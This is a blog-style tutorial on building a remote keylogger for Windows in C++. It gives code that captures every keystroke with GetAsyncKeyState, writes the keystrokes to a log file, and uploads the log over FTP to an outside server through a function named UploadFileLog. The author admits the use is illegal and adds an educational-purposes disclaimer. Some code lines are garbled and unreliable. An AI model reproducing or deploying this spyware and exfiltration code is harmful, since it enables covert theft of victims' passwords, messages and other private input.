Write a Remote Keylogger in c++ for windows os

Hello folks, in this first howto i'll try to show how to make a simple Remote Keylogger in C++; you can find a complete (local) Keylogger in the section codes.

Let see what is a Remote Keylogger:
A keylogger, in simple words, is a software that runs on a computer (usually in background:P), that catch and stores every keys pressed by the users.
For Remote Keylogger instead implies that the PC, where the program is running, is not (usually) on the local network, then in a remote terminal.
To implement a remote control exists a lot of strategies, we'll see how to realize one of these, the others will simply mentioed.


La principal function to create a keylogger is GetAsyncKeyState; those purpose is to verify whether a given key as a parameter to the function was or was not pressed.
So, we can think, that a simple keylogger can be done writing a list of 'if istructions' testing this function, indeed to capture for example lowercase, a possibile code could be:

... for (i = 65; i <= 90; i++)
if (GetAsyncKeyStaif (GetAsyncKeyState(i) == PRESSED) Ch+=char(i+32);
...


The 'for instruction' scans the numeric rappresentation of letters from 'a' to 'z', and with the GetAsyncState function we controls if a given letter is pressed or not. PRESSED is simply a define set to –32767;

Once implemented a whole list of them (one for letters sensitive one for the case, one for numbers, and finally one for symbols), the next step is to decide how to save data obtained.
Let's Suppose, as in the example above, to have registered every letters in a string (which I call Ch), we may at any time interval we set, save the contents of that string to a file.

string NameKlog="Keyloggerlog.txt";
hFileKEYLOG=CreateFile(NameKLog.c_str(),FILE_APPEND_DATA,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);

WriteFile(hFileKEYLOG,Ch–>c_str(),SizeLog,&SizeLog,NULL);
CloseHandle(hFileKEYLOG);
...


The files managment can be done in many others methods; using Visual Studio, i've used these functions, however you can use the fstream class making all more friedly:P

So, a (local) Keylogger will be simply an endless while with many if, with a temporal control to save the entire data that we've captured.
In this way we can implement a simple Keylogger; no objection to expand this simple idea and add features such as, for example, the recording of the window which are interacting the user, the necessary functions can be found to the msdn site and in the source codes section in the Keylogger file.

Now we must see how create a Remote Keylogger:P
As i said before, there are a lot of ways to take the Log file wich contains every pressed keys; one of these could be an email sent to us when the computer starts (if the keylogger starts every time the computer starts:P, but usually this is the case).
So, is possibile make a simple program wich will be hosts on a ftp server, wich send an e-mail every time is called by the Keylogger. Otherwise we can use the code, wrote in c++ and shown in the 'sources codes section', to send an e-mail from a pc .
Another way could be hosting the file log directly on a ftp server, we'll see now this way.

Let's suppose to have an own domain (site) and that we can hosts file via ftp (i'll take for example my address: redo86.altervista.org); So, we must add some simple istructions for do this automatically.

The necessary function to do this are:
InternetOpen to inzializes the necessary parameters, InternetConnect for the files trasmission and FtpPutFilethe purpose of which speaks for itself:P

Let's see the code:

bool UploadFileLog(){

HINTERNET conn,ftpconn;
conn = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);

if(!conn){
cout<<"Connection Failed"<<endl;
return false;
}

ftpconn = InternetConnect(conn,"redo86.altervista.org",21,UTENTE,PASSWORD, INTERNET_SERVICE_FTP, 0,0 );

if(!ftpconn){
cout<<"Ftp connection failed"<<endl;
return false;
}

if(!FtpPutFile(ftpconn,"KeyloggerLog","Keyloggerlog", INTERNET_FLAG_TRANSFER_BINARY, 0)){

cout<<"Error: can\' t host selected file"<<endl;
return false;

}
InternetCloseHandle(ftpconn);
InternetCloseHandle(conn);
return true;

}


How we can see the procedure on windows is very simple, we must open a new internet connection and give the necessary parameters to the FtpPutFile function to hosts the file; clearly the crux of this process is to have a server up to save the files, and being that according to the uses that you want to do with the log file, the everything is clearly illegal!

Well people, I hope I was clear and useful, for any doubt contact me:p

If you wanna see an entire Keylogger you can watch the code at this Link.




Important

The use of this material at the expense of others is absolutely not approved by badnack, which is not considered in any way responsible for any damage caused by improper use of the material. Copies of the above links are for illustrative purposes only and are posted only for for educational purposes